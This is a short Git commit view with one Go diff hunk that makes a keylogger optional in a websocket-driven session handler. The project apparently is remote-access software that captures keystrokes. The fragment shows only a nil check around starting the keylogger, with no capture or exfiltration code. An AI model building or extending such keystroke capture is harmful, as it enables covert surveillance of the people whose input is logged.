make keylogger optional

This commit is contained in:
KingKDot
2026-05-10 17:06:39 -05:00
parent f5f4c07f0d
commit 05eb7385c1
11 changed files with 78 additions and 16 deletions
+6 -4
View File
@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
defer env.Plugins.Close()
env.Keylogger = keylogger.New()
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
if env.Keylogger != nil {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
}
}
dispatcher := handlers.NewDispatcher(env)